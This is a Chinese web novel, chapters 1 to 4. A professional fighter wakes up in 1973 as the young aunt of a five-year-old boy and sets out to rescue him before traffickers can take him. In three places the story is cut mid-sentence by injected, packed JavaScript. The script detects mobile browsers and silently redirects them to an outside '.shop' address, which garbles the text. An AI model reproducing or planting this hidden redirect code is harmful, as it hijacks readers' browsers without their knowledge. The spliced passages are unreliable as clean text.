《穿到小崽崽被拐前[七零]》 1. 第 1 章 001 1973年,六月。 经过昨天一场大雨的洗礼后,今天的江城不仅空气变得清新了许多,就连温度也有所下降,迎面吹来的夏风难得透着几分凉爽。 但是虞悦没有办法好好地享受这几分凉爽,因为她身边正有一只烦人的“苍蝇”不停地在她的耳边嗡嗡作响。 “三悦,我们都这么多年的邻居了,我还会害你吗?相亲的事情你真的得再好好考虑考虑,肖哥那个人是什么脾气你又不是不知道,光是知道你要去相亲的事情他就不高兴了,你要是真去相亲的话肖哥不得生气啊?他一生气那可是什么事儿都做得出来的。” “肖哥现在摆明了是不可能让你通过工作留城的,至于嫁人,他也不可能眼睁睁地看着你嫁给别人,所以要我说三悦你干脆嫁给肖哥得了,这样就两全其美了,肖哥能如愿,你也能顺利留城。” “我真的是为了你好才这么劝你的,三悦,肖哥那个人你得罪不起,真要把他惹恼了你想过后果吗?还是说你真的想下乡当知青?” “就你这副弱不禁风的样子,你真要下乡了,你是扛得了锄头,还是挑得了水?” 说到这里,对方见虞悦不仅没有说话,眉头甚至越皱越紧,他担心自己劝说不成反倒是惹怒了她,于是及时收住了话头,以一句“总之三悦你再好好想想我说的,别做错决定害了自己一辈子”作为结束语,说完就先离开了。 虽然“苍蝇”是烦人了一点,但虞悦觉得他有句话说的确实有道理,她确实是该好好想想了,好好想想自己到底为什么会穿书? 明明昨天她才凭一个冠军奖杯从教练那儿软磨硬缠地要了一个五天小长假,在睡着之前她都计划好了要怎么享受自己得来不易的小长假了,结果没想到一觉醒来她就莫名其妙地穿书了。 别看虞悦是一名职业的散打运动员,但是她的爱好特别文静,那就是看小说,而虞悦现在穿的就是自己刚看完不久的一本年代文。 在这本年代文里面,男主堪称全书最惨,刚出生就没了娘,五岁的时候被人贩子给拐了,直到八岁才靠自救成功地吸引到公安同志的注意,从此逃出生天。 但是这个时候的小男主已经遍体鳞伤,被卖后他曾因为屡次逃跑而被活活打断了左腿,由于没能得到及时的治疗最终落下了残疾。 更惨的是当小男主获救后原以为能够和亲爹团聚,结果没想到却意外得知亲爹在他被拐那年就因为出任务而壮烈牺牲了。 之后小男主被送到福利院,因为左腿残疾的原因,他在福利院饱受欺负,后面考上大学后,他又遭受到了校园霸凌。 直到遇到女主后,男主的人生总算没有那么惨了—— 和女主相识相爱,得到军工大佬的赏识和教导,还意外跟亲姑姑一家相认,并且得知他们这么多年一直都在寻找他。 虞悦记得自己当时看到这里的时候以为这本年代文马上就要迎来一个幸福美满的大结局,但没想到接下来的剧情却是男主患癌,为了不拖累女主狠心跟她分手。 其中穿插一些误会和矛盾的剧情,但好在很快男女主就说开了,两人决定携手积极抗癌,然后—— 男主死了。 是的,最后的大结局是男主死了,毫不夸张地说,看到男主死了的时候,当时熬夜熬到半夜三点的虞悦感觉自己也跟着一块死了。 被气死的! 虞悦当时就想顺着网线爬过去给没有心的作者一拳,好让她知道读者的命也是命,读者的眼泪也很值钱的。 一想到那么聪明又坚韧的男主最后居然被作者写死了,虞悦就觉得意难平,甚至想过如果她是作者的话,她一定会改变男主这悲惨的命运。 好消息,她确实有机会改变男主悲惨的命运。 坏消息,她直接穿进这本年代文里,穿成了男主的亲姑姑。 虞悦回忆了一下自己对七十年代的了解,再想想自己穿书前靠一拳一拳打下来的房子、车子和票子,不由地悲从中来—— 都说心疼男人会倒大霉,心疼纸片男也一样得倒大霉吗? 虞悦郁闷坏了,但是郁闷过后她又不得不开始调整自己的心态,毕竟她再郁闷也改变不了穿书的事实,既然改变不了那就只能好好想想穿书以后的事儿了。 对于原主这个男主的亲姑姑,虞悦还有印象,她在书中第一次出现是在小男主不堪后奶奶的恐吓和小叔的欺负,决定给她这个素未谋面的亲姑姑寄求救信的时候。 可惜在他的求救信被送到的当天,正是原主和未来的军工大佬相亲的日子,原主放学后直接去了红旗机械厂而没有回家,因此错过了小男主的来信。 等到她收到信的时候,一切都已经晚了—— 等不及的小男主已经因为选择扒火车来寻亲而在火车上被人贩子给拐了。 虞悦记得日后收男主做学生的军工大佬沈确曾经和原主相亲过,也是因为他,原主他们一家才会在十几年后和男主相认团聚。 想到那只“苍蝇”刚刚提到了相亲的事情,虞悦立马翻了翻原主的记忆,然后发现原主接下来要相亲的对象就是沈确,而且两人的相亲时间就在今天中午。 虞悦心中一紧,也就是说她不仅正好穿到小男主被拐之前,而且还有机会改变小男主被人贩子给拐卖的悲惨命运? 所以她要去找小男主吗? 她已经因为心疼他而倒过一次大霉了,再心疼他会不会再倒一次大霉? 虞悦心里面这么想着,脚下的步子却十分诚实地往教室走去,她不知道自己再心疼小男主一次会不会再倒一次大霉,但是她知道如果她现在不去找他的话,他接下来的人生就会像书中的剧情那样落入人贩子的手中,然后经历三年的磨难才被公安同志从卖家的手里救了出去。 虞悦在穿书之前也被人贩子拐过一次,和小男主不同的是那时候她已经快成年了,而且还有一把子力气,所以没等人贩子找到买家,她就先把他扭送到了公安局。 而小男主不一样,他今年才五岁,即便他再聪明,他也根本反抗不了人贩子和卖家,要不然他也不会在他们手下挣扎求生了三年才最终获救。 所以倒不倒大霉那是之后的事情了,现在当务之急是抢在人贩子下手之前找到小男主。 打定主意后虞悦脚下的步子走得更快了,她回到教室收拾好原主的东西就往外走,结果刚走出教室没多久就被人追了上来。 “三悦,三悦你收拾东西打算去哪儿?” 虞悦对这个声音十分耳熟,因为不久前他才在她面前喋喋不休地说了一大通乱七八糟的话。 她一扭头,发现果然是刚刚那只“苍蝇”追上来了,目光触及到他那双三角眼的时候,她一下子就“想”起来对方的身份了—— 孙天赐,原主的同学兼邻居,同时也是最近在监视原主的王八蛋。 想到孙天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028802|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐对原主做过的那些事儿,虞悦的拳头就有些硬了。 对此,孙天赐毫无察觉,这会儿他只关心一件事,“三悦你考虑得怎么样了?我可跟你说,你之前拒绝那么多次,肖哥都没有跟你计较那是因为喜欢你,但是再喜欢你,肖哥也不可能容忍你一次又一次地拒绝他的。” “所以三悦你得想好了是要答应肖哥,还是得罪肖哥,真得罪了他,别说是你了,他甚至有办法让你全家都吃不了兜着走你信不信?” 孙天赐这话虞悦是信的,因为他口中的“肖哥”全名肖自立,既是原主的追求者,也是一个大麻烦,因为他是一个红小将的同时还是革委会副主任的儿子。 自从他看上原主之后,就一直对原主死缠烂打,为了让原主同意跟他处对象,威逼利诱那一套是全用上了,上个星期知道原主准备要去相亲后更是想对原主来硬的。 要不是原主足够聪明谨慎的话,说不定真的让他得手了。 但是虞悦更信如果不是因为是孙天赐这个王八蛋的话,原主根本不会被肖自立给盯上。 因为想要抱肖自立的大腿,所以知道他喜欢漂亮姑娘之后,孙天赐就故意把肖自立引到原主的面前,之后为了讨好肖自立,他更是没少在原主耳边帮肖自立说好话,甚至自发帮他盯住原主。 这也是肖自立明明不是江城高中的学生,也不住在红旗机械厂的家属楼,却依然那么快就知道原主准备相亲的原因。 通过原主的记忆,虞悦知道她原本今天不打算来学校的,毕竟她中午就要相亲了,但是担心肖自立会提前通过孙天赐知道这件事之后搞破坏,她才故意像往常一样继续上学。 如果原主今天选择请假留在家里的话,那么即便她中午要去相亲,也绝对不会错过小男主的求救信。 想到这儿,虞悦的拳头更硬了,看着利诱她不成就想威逼她的孙天赐,她二话不说又快又狠地往孙天赐的肚子上捣了一拳。 一瞬间,孙天赐脸上的表情直接僵住了。 虞悦没有收手,而是迅速地又往孙天赐的肚子里连捣两拳,且一拳比一拳重。 三拳下去,孙天赐的脸一下子变得刷白,肚子里翻江倒海的剧痛疼得他呼吸都紊乱了,喉咙的肌肉更是痉挛到发不出一丝声音。 孙天赐捂着肚子看向虞悦,眼神里泄露了一丝的震惊和愕然。 他和虞悦认识这么多年了,一直都知道她除了模样是出了名的好之外,身体也是出了名的弱。 结果这样一个弱到仿佛一阵风就能把她吹倒似的虞悦手上的劲儿居然那么大? 她第一拳打过来的时候,孙天赐就感觉自己像是被一辆自行车给撞了,不对,是一辆小汽车。 她打了他三拳,孙天赐感觉自己被小汽车撞了三次,撞得他感觉自己的五脏六腑都移了位,这要再“撞”一次的话,孙天赐觉得今天他就能让他爹妈白发人送黑发人了。 所以眼见着虞悦还要动手,孙天赐连忙从喉咙里挤出求饶的声音:“别打了别打了,三悦你要是不爱听的话我以后不说就是了。” “记住你说的话。”虞悦对着孙天赐晃了晃自己的拳头,“再有下次我送你去见你太奶。” “记住了记住了。”当着虞悦的面,孙天赐唯唯诺诺,大气都不敢乱喘一下,但是等虞悦一走,他立马骂骂咧咧起来。 孙天赐实在是想不通,明明虞悦看起来柔柔弱弱的,打人为什么那么疼? 2. 第 2 章 002 实不相瞒,虞悦也没想到自己打人能那么疼。 换做是穿书前,虞悦丝毫不怀疑自己的实力,毕竟她在没有练散打之前都能凭她出厂自带的一身怪力把一个成年男性的人贩子扭送到公安局了,更别提练散打成为一名职业的散打运动员之后。 但是穿书后,虞悦可不敢对自己太自信了,哪怕原主和她同名同姓,可两人的身体素质却完全不一样。 原主是个早产儿,打小身体就不好,长大后也是弱不禁风的,虞悦刚穿过来的时候,第一反应就感觉这个身体实在是太虚了。 所以刚刚动手的时候,不止孙天赐,就连虞悦本人也被自己的大力气给吓了一跳。 她低头看了看自己的双手,心想她上辈子的那一身怪力该不会也跟着她一块穿过来了吧? 真要是这样的话,虞悦心想那可真是意外之喜了,毕竟七十年代的华国虽然不再打仗了,但是没点本事傍身的话,出远门也是挺危险的一件事。 …… 七三年的高考还没有恢复,所以即便虞悦现在的身份是一名即将毕业的高中生,她依然能很容易地从老师那儿请到假。 请好假的虞悦一边往校门口走一边回忆剧情,在书中,作者只是简单地提过小男主之所以长到五岁都没有见过亲姑姑和亲奶奶是因为他亲爹虞泽的父母早年间就分开了,导致他亲爹和亲姑姑一个跟爹,一个跟妈在不同的两个城市生活。 但是通过原主的记忆,虞悦才知道与其说原主和虞泽的父母早年间分开了,倒不如说兄妹两人的母亲虞美云被他们的渣爹林建国给背叛了。 作为上门女婿的林建国当初背叛了虞美云不说,还拐走了两人的大儿子虞泽,导致他们母子两人骨肉分离了十七年,直到今年二月份虞泽主动找上门后他们才相认团聚了。 虞泽当时在江城逗留了五天,因为假期有限,所以即便他想让自己的母亲和妹妹见见自己的儿子他也没办法赶回老家把他带到江城。 不过他也说好了,等他回老家把儿子接到部队后,他会给他们打电话,再给他们寄他们父子俩的合照。 可惜虞泽没能接到儿子,返回老家的途中就因为临时接到一个紧急命令去出任务了,他这一走,原主一家就再也联系不上他了。 不仅联系不上虞泽,也联系不上他儿子。 因为虞泽当时只给原主一家留下了部队的地址和电话,并没有留老家的,所以虞悦想要出发去南潭找小男主,就必须得先收到他的求救信,要不然她拿不出理由说服原主家人同意她去南潭。 想到这儿,虞悦加快了脚步,但是没想到刚出校门口就看到树上“挂”着一个熟悉的身影。 她走到校门口的大树下抬头问:“四河?你怎么在这儿?” 虞美云在十四年前就再婚了,再婚对象叫俞东明,当时两人一个带着三岁的女儿,一个带着六岁的儿子,重组家庭后两人生了一个儿子,就是这会儿正趴在树上掏鸟窝的黑小子俞河。 俞河一听这话,低头一瞅:“三姐你咋那么快出来了?” 他把人家的鸟窝规整好后麻溜地从树上爬了下来,然后扭头看向依旧大门紧闭的校门口,“我以为我掏鸟窝掏入迷了,没听到你们放学的铃声呢。” 虞悦说:“没放学,我提前跟老师请假了。” 俞河黑乎乎的小脸上顿时露出了一个意味深长的小表情:“还说你不着急呢,三姐,这都还没到相亲的时间,你就提前请假了?” 虞悦没法解释,只是转移话题:“你还没说你怎么在这儿呢。” “陪你去相亲啊。”俞河理直气壮地道,“也不知道老家的人这次闹什么幺蛾子了,爸妈居然舍得在这样的关头回去,但是没事儿,这不是还有我嘛,三姐我陪你去相亲。” “本来二哥也想请两个小时假陪你一块去的,但是我想三姐你连去二哥的国营饭店相亲都觉得尴尬,二哥真要跟着一块去了你岂不是更尴尬?所以早上我就帮你拒绝二哥了。” 虞悦这下知道为什么在书中原主会错过小男主的来信错过得这么彻底了,不仅仅因为原主去了相亲,本该在家的原主母亲陪丈夫回了老家,也因为本该放学回家的原主弟弟没有回家。 但是仔细一想,虞悦又觉得俞河会这么做在意料之内,因为原主身体不好的原因,不止亲妈继父和继兄,就连最小的弟弟在懂事后也懂得照顾年龄比自己大,但是身体却比自己差的姐姐。 可以说不管是原主、原主母亲还是原主弟弟其实都没有做错什么,结果因为一个阴差阳错,不止小男主遭了罪,就连他们全家都自责愧疚了十几年。 好在她正巧穿到小男主被拐之前,这要是穿到他被拐之后,哪怕虞悦知道他被拐了也不知道上哪儿去找他。 毕竟小男主被拐后辗转了几次才落入最终买家的手里。 …… 俞河的出现让虞悦想直接回红旗机械厂的家属楼都得先找个理由,理由倒是好找,然而虞悦最后没能用上,因为她在半路上就遇到送信的邮递员了。 “三悦?四河?”邮递员明显认识虞悦和俞河,一见到他们就捏住刹车,从自行车上下来,“这还不到放学的点儿啊,你们姐弟俩咋在外面闲逛?” 不等虞悦他们回答,他又道,“对了,我这儿正巧有一封三悦你的来信,既然碰上了,我就直接给你了,省得再跑一趟你们家属楼。” 惊喜来得这么突然吗? 虞悦莫名地有些激动,没想到原主错过的求救信她那么容易就收到了。 “三姐,谁给你写信了?”俞河好奇地探头一看,在看到寄信人的名字时愣了一下,“小船?那不是咱小侄子吗?他不是才五岁吗?咋会给你写信的?而且咋只给你写信啊?三姐你快拆开看看信里都写了些什么?” 虽然虞悦知道这是一封求救信,但她还是把它拆开了,里面的内容很少,但是透露的信息量却很大。 “什么?” “小船他后奶奶因为大哥这几个月联系不上,没给他们寄钱就打算把小船给卖了给他找个新爹?” “她是疯了吗?大哥这些年可没少给他们寄钱,那么丧良心的事儿她咋干得出来的?” “她那么贪钱咋不把自己卖了给自己找个新爹啊?” “真是畜生啊!” 看完信的俞河愤怒极了,跟虞泽相认的时候他们看过小船的照片,一看到照片里那个瘦巴巴的孩子他就知道常芬不是什么好东西了,要不然也不会在虞泽每个月都寄钱回去的前提下还把人家儿子养得不长个子不长肉的,但是他完全没想到她居然还能坏得超出他的想象。 “先别骂了,我们赶紧去找二哥。” …… 现在十点,还不到饭点,但是国营饭店的后厨已经忙碌起来了,俞江刚把师父刘大厨交给他的生猪肉处理好后,和他一样同是学徒工的刘阳就把一篮子的土豆递到他面前:“二江,正好你忙完了,就顺便把这些土豆切成丝吧,我肚子痛,得去一趟厕所。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028803|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “行。”俞江没有拒绝,接过那一篮子土豆就到水龙头前清洗削皮。 正在洗菜的杨大娘见状,忍不住道:“二江你说你长得跟铁塔似的,脾气咋那么软?刘阳那小子最会蹬鼻子上脸了,你不拒绝他,以后他肯定有事没事都找你帮忙。” 俞江的模样长得有点凶,但是笑起来的时候却意外的和善:“他是我师父的侄子,我不看僧面也得看佛面,而且多切点土豆也没坏,我就当练练刀工了。” 杨大娘摇摇头,正想说什么,在前面打扫卫生的服务员小芳就跑了进来:“二江哥,你妹妹和弟弟来了,说有事找你。” 三悦和四河来了? 俞江顾不上篮子里的土豆,起身就连忙往外赶,后厨的人也顾不上干活了,个个看向小芳问她:“小芳,二江的妹妹长啥样?他是不是又吹牛了?” 为什么要说又呢? 原因很简单,因为俞江曾口口声声说过他弟弟长得打小就长得白嫩白嫩的,当时大家伙儿都信了,直到前两天他们看到了长得黑咕隆咚的俞河,大家伙儿:“……???” 好家伙,这年头还有黑白色盲吗? 虽然俞江解释过他弟弟现在这么黑是这半年晒出来的,但是大家伙儿都不信了,不仅不信,他们甚至开始怀疑他之前说他妹妹长得跟天仙似的是不是在撒谎。 毕竟黑的都能被他说成白的,那丑的说不定也能被他说成美的。 不止后厨的人是这么想,就连小芳原来也是这么想的,但是现在? “啥啊,二江哥没撒谎。”小芳一拍手激动道,“俺滴个娘诶,俺长这么大还没见过这么俊的妹妹,跟画上走下来似的,俊得都不像个人哩。” 俊得不像个人? 那像什么? 天仙吗? 因为小芳的一句话,后厨的众人是饭也不做了,菜也不洗了,一窝蜂地挤到前面想要看看俞江和小芳到底吹没吹牛,就连借屎遁的刘阳也不例外。 当看到站在俞江面前的虞悦时个个瞪大了眼睛,心想二江的妹妹这也长得太漂亮了吧? 眼睛大大的,比天上的星星还要明亮,皮肤白白的,像玉一样无暇,扎起的两根麻花辫又黑又亮,模样果然跟小芳说的一模一样,俊得真的像是从画上走下来似的。 “乖乖龙地咚,敢情二江没吹牛,他妹妹真的长得跟天仙似的啊?” 俞江可不知道虞悦的出现帮他稳住了他摇摇欲坠的诚信,出来后他见虞悦和俞河两人一个神色严肃,一个面露怒色,心里一紧:“三悦,四河,是不是出什么事儿了?” “出大事儿了,二哥!”俞河急吼吼地道,“我和三姐刚刚收到小船寄过来的求救信。” 俞江一脸惊讶:“求救信?” “二哥你看。”虞悦把手里的信递给俞江,后者一目十行地看完后脸都气红了,“这,这也太过分了,就算小船不是她的亲孙子,好歹也是她看着长大的,她怎么能为了一点钱就想把小船给卖了?” 俞江当场急得团团转,他几乎想都不想就道,“不行,我得去一趟南潭把小船带回来,我现在就去请假。” 虞悦连忙道:“二哥,我跟你一块去。” “不用,我自己去找经理就行。” “二哥你误会了。”虞悦道,“我的意思是我跟你一块去南潭把小船带回来。” “你要跟我一块去南潭?”俞江愣了一下,反应过来后摇头道,“不行不行,三悦你忘了你今天中午要相亲的事了?” 3. 第 3 章 003 “我没忘,但我也不打算去了。”虞悦知道原主现在的情况不太妙,在这个特殊的十年里,所有适龄的年轻人一旦毕业,没有工作的话就得下乡。 原主就面临着这样一个处境,偏偏今年江城的厂子几乎都不招工,好在原主的父母心疼她,意识到今年找工作困难之后,两人就筹划着给她买一个,好不容易上个月终于踅摸到一个想要卖工作的,结果在临门一脚的时候却被人搅和了。 正当俞东明他们发愁的时候,红旗机械厂的妇女主任就找上了他们,有意要为原主和沈确安排一场相亲。 是让女儿下乡还是让女儿嫁人? 虞美云他们想都不想就选择了后者,尤其是沈确这个相亲对象可是个香饽饽,今年不过二十四岁就已经是红旗机械厂的工程师了,本事大,模样还生得好。 夫妻两人觉得如果原主能跟他结婚的话,他们不仅不用再为她留城的事情发愁,甚至都不用再为她以后的日子发愁。 知道沈确未来会有多大成就的虞悦当然知道要是能跟他相亲成功的话下半辈子确实是可以衣食无忧了,但相亲不成功呢? 如果不是着急着去南潭找小男主的话,虞悦其实不抗拒跟沈确相亲,毕竟谁有机会的话不想见见成长期的军工大佬呢? 但是没有如果。 虞悦既然在学校的时候就决定鸽掉沈确,现在就不会改变主意,而且这次去南潭找小男主,非她不可。 “而且二哥你忘了?就算你是小船的二叔,去到南潭你也不可能把他带走的。” 不仅仅因为俞江跟小船根本没有任何血缘关系,也因为他们一直分开生活在两地,他贸然上门想要以常芬想卖小船为理由带走他的话,十有八九会失败不说,甚至会被常芬他们倒打一耙。 “那我跟二哥去呢?”俞河举手道,“我跟大哥可是一个妈生的。” “可你跟大哥不是一个爸生的。”虞悦说,“妈认你跟大哥的关系,但是林建国可不会认。” 俞江想到了跟着俞东明回老家的虞秋云,他说:“我们可以给爸妈打个电话,让他们去一趟。” 那就来不及了,虞悦记得小男主是在星期一趁着家里人都去上班上学的时候离家出走去扒火车的,而今天已经是星期五了。 虞悦道:“我记得大哥上次准备去南潭接小船的时候说过从江城到南潭光是坐车至少都要三十个小时,这还不包括中途换乘所需要的时间,从我们这里去南潭都那么远了,更何况是从东城出发去南潭?” “二哥,我知道我相亲的事重要,但小船的事更重要。” “从小船给我们寄信,到我们收到信已经过去好几天了,现在他那边是什么情况我们也不知道,再拖拖拉拉下去的话,我是真的担心就算最后我们赶过去也无济于事。” 虞悦最后一句话说动了俞江,最终他同意虞悦跟他一块去南潭,虞悦道:“那二哥你去请假吧,我现在去街道办开介绍信。” 俞河也举手道:“那我就先回家帮你们收拾一些出门要带的东西。” “好。” 于是兄妹三人兵分三路,等虞悦开好介绍信回到家里的时候,快她一步回来的俞江已经在收拾行李了,俞河也一边帮忙一边道:“出门在外,二哥你多留个心眼儿,可别见到谁都发善心,我可是听说了,火车上多的是人贩子。” 原本精神有些紧绷的俞江被逗笑了:“哪个人贩子不长眼,会拐像我这样的?” 别看俞江没什么脾气,但外表却极具蒙蔽性,长得又高又黑,不开玩笑地说,板着脸走出去随便都能吓哭好几个小孩儿。 人贩子但凡是长了眼的都不会想要拐他。 俞河默默地反问道:“人贩子确实不会拐像你这样的,但是像我三姐那样的呢?” 闻言,俞江立马就不笑了,像他妹妹那样的人,人贩子但凡是长了眼的都会想拐她。 把俞江的警惕心都勾起来后,俞河又跑去跟收拾行李的虞悦说:“三姐你也一样,出门在外你记得别管干啥都跟紧二哥,可千万别落单了,要不然真遇到人贩子你就完犊子了,打又打不过,跑又跑不赢。” “你一个人留在家里把自己照顾好就行了,少操心我跟二哥。”虞悦心想,她可不是什么娇滴滴的小姑娘,现在的她有的是力气和手段。 也就是要顾及俞江和俞河,要不然虞悦自己一个人都能出发去南潭。 “我倒是想啊。”俞河表示,要不是他二哥和三姐一个中看不中用,一个不中看又不中用,他至于那么操心他们嘛。 真是愁死个人哩。 “对了。”俞河突然想起来,“我回来的时候正巧碰上桂兰姨,她知道三姐你们要出远门的事之后就说春风哥今天正好休假,可以陪你们一块去火车站。” 俞河话音刚落,住隔壁的李桂兰母子就正巧来了,一见到虞悦他们,何春风就道:“二江,三悦,你们的行李都收拾好了吗?我刚给我们单位打过电话,帮你们订好了两张去南潭的通票,十一点四十五分就发车。” 俞江没想到何春风这么贴心:“真是太谢谢你和桂兰姨了。” “兄弟一场,说这些见外话做什么?”何春风等虞悦他们收拾好行李后道,“走吧,我送你们去火车站。” 李桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028804|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰边送他们出门边道:“你们兄妹俩不用担心四河,这些天我会帮你们照顾好他的。” “麻烦你们了,桂兰姨。”虞悦他们刚走到楼梯口,聚在公共厨房做饭的邻居们个个好奇问道,“二江,你们这是打算去哪儿?” 正当俞江犹豫着要不要说实话的时候,虞悦就已经开口了,她不仅实话实说,而且还故意当着那么多人的面叮嘱俞河待会儿替她去一趟红旗机械厂找妇女主任:“四河你记得跟徐主任说她帮忙安排的相亲我今天去不了了,请她帮我跟人道个歉。” “三悦,徐主任给你安排相亲了?” “这相亲对象是谁啊?” 原主要相亲一事家属楼里算是一个秘密了,所以虞悦一说,大家都很意外,七嘴八舌就问了起来。 然而虞悦把这件事说出来其实只是想通过她们的嘴巴让孙天赐和肖自立他们知道她没去相亲的事,省得肖自立找不到她就找俞河出气。 所以达到目的后她没有多留,兄妹两人跟着何春风一块出发去火车站了。 在路上,何春风说:“从江城出发去南潭得经过两次换乘,每次换乘都得在中转站办理签票手续,虽然有些麻烦,但你们也不用怕,我会托我同事带你们去办理的,你们只要保管好自己的车票和介绍信就行,至于钱和票你们分开装,真要倒霉遇上小偷了,至少不会被一锅端。” 有了何春风的帮忙,虞悦和俞江这趟出门省心了许多,甚至在沪市换乘火车的时候,两人在何春风他同事的帮忙下加钱换了两张硬卧票。 “硬卧票还真贵啊。”二十三块四毛听着是不多,但是想想俞江现在在国营饭店当学徒一个月的工资也才二十五块,一张硬卧票就几乎把他一个月的工资花没了。 “贵是真贵,但这一段路至少得坐一天一夜,我都不一定受得了,更何况是你?”所以俞江觉得这钱该花还是得花,不然他怕他们还没去到南潭找到小船,虞悦就先倒下了。 “那倒也是。”从江城出发到沪市才几个小时,虞悦坐得腰都快直了,这要再坐一天一夜的硬座,她担心她会把自己给坐过去。 …… 从江城出发,再到沪市转乘,这一路上都十分顺利,可是到第二个中转站的时候因为太晚了,当天已经没有出发去南潭的火车,所以留宿一晚的虞悦和俞江两人是在星期天的下午三点十五分才抵达南潭的。 一下火车,虞悦和俞江两人就照着信封上的地址马不停蹄地前往南潭家具厂的家属楼。 “也不知道小船那边是什么情况。”即便顺利抵达南潭了,俞江的一颗心仍然是悬在半空中,“希望我们没有来晚了。” 4. 第 4 章 004 星期天是一周难得的休息日,这天多的是不用上学的孩子和不用上班的大人,恰巧今天天公作美,也让太阳公公放假了,所以离南潭家具厂家属楼不远处的小广场上这会多的是放风玩耍的大人和小孩。 说是小广场,但其实一点儿也不小,里面的设施设备也十分完善,许多大人三五成群地坐在爬满藤蔓的长廊下的长椅上一边唠嗑,一边时不时地瞅一眼自家在前面空地上打闹嬉戏的孩子。 “得亏政府前两年把这小广场改造了一番,要不然每次放假我都不知道该带我儿子上哪儿去消耗他的精力。” 这个家长的话一出,顿时引起了其他妈妈的赞同:“要不说老话说得好呢,七岁八岁的孩子真的狗都嫌,上个星期天我嫌热不让他出去玩,结果好嘛,他把家里的暖水壶给打碎了,把我气得呀,抽他一顿都消不了气,早知道他在家会把我暖水壶给祸祸了,那天别说外面有一个太阳了,就算有九个我也让他出去疯。” “我家那个也是,上个月我好不容易攒了点肉票,本来打算买点肉回来给家里人补补身体的,结果要买那天死活找不到肉票,你们猜怎么着?” “怎么着?” “我儿子拿肉票去引火了。” 其他家长忍不住笑了起来,个个就跟接龙似的,这个吐槽完自己的孩子就轮到那个吐槽,结果轮到常芬的时候她却道:“我儿子就不一样了,打小听话懂事,就没干过让我跟我家老林生气的事儿。” 常芬这话一出,不认识她的人都对她投去了羡慕的目光,可见平时被自家的逆子折磨得有多厉害,但是认识她的人却一个接一个地笑了起来。 “听话?懂事?这两个词跟你们家金宝有什么关系吗?” “你那些话骗骗外人就算了,我们这些当邻居的还不知道你们家金宝有多调皮吗?昨天晚上才把人家老关家的玻璃窗给打破了。” 常芬立马反驳道:“谁说是我们家金宝打破的?明明是小船那个小崽子干的。” “得了吧,谁不知道小船那孩子打小就乖?人还没有桌子高就帮你们洗衣服做饭了。” “就是,你看看你家金宝现在都在干些什么?你总不会说是小船在欺负你们家金宝吧?” 这话一出,其他人都顺着她所指的方向看了过去,就见一个瘦巴巴的小孩儿正被一个小胖子压在地上当马骑,看到这一幕,不少人都皱起了眉头。 “哎呦,常芬你快管管你家金宝吧,怎么又在欺负小船?他比小船重那么多,不得把小船给压坏啊?” “要我说你们家的金宝还是欠管教了,都多大了还那么爱欺负人,他在学校不会也这么欺负其他孩子的吧?” 常芬也看到这一幕了,本来她是不当一回事的,但是一听有人这么“恶意揣测”自己的宝贝儿子,她立马不干了,站起来大声道:“你少胡说八道了,我家金宝多乖啊,怎么会在学校欺负人?没凭没据的,这不是在造谣嘛。” “你们又不是不知道我们金宝跟小船是什么关系,他们叔侄俩这是在闹着玩呢,哪里是在欺负小船了?” 小船? 经过小广场的虞悦和俞江两人听到这个熟悉的名字,脚下的步子齐齐地停了下来,兄妹两人互相对视一眼,确定彼此都没有听错后转身就往回走。 虞悦他们都看过小船的照片,虽然那是他三岁时照的,但是两年的时间过去了,他的模样并没有太大的变化,甚至就连体型也没有太大的变化,依旧是瘦巴巴的。 所以当走进小广场的虞悦在那帮玩耍的孩子里面搜索了两遍后,很快就认出了正在被欺负的小崽崽就是他们这次来南潭要找的小男主。 虞悦记得作者在书中提到过小男主之所以给原主寄求救信的其中一个原因是因为他小叔林金宝逼他给他当牛做马,当时看的时候她没有多想,以为林金宝是跟他妈一样把小男主当做牛马一样来使唤而已。 但是她万万没想到,林金宝居然是把小男主当牛马一样来骑。 这简直太羞辱人了! 看到肥头大耳的林金宝骑在小小只的小船背上,一边拽着他的头发喊着“驾驾驾”,一边还试图让双脚腾空后,虞悦的拳头硬了。 梆梆硬那种。 虞悦二话不说抬脚就冲了过去,伸出右手抓住林金宝的后衣领,左手飞快地打掉他揪住小船头发的手,在他疼到松手的一瞬间,她的右手一个用力,直接将他从小船的背上拎了起来,然后像是扔垃圾一样把他往旁边的空地上就是一扔。 突如其来的变故让在场的人都懵了,尤其是还在孩群中寻找小船的俞江更是瞪大了眼睛。 不认识虞悦的人看到这一幕顶多感叹一句“人不可貌相”,但俞江不仅认识虞悦,而且还跟她一块生活了十四年,所以看到这一幕他第一反应是怀疑自己做梦了? 要不然他怎么可能看到他那个弱不禁风的妹妹单手就拎起一个少说也有六七十斤的小孩儿? 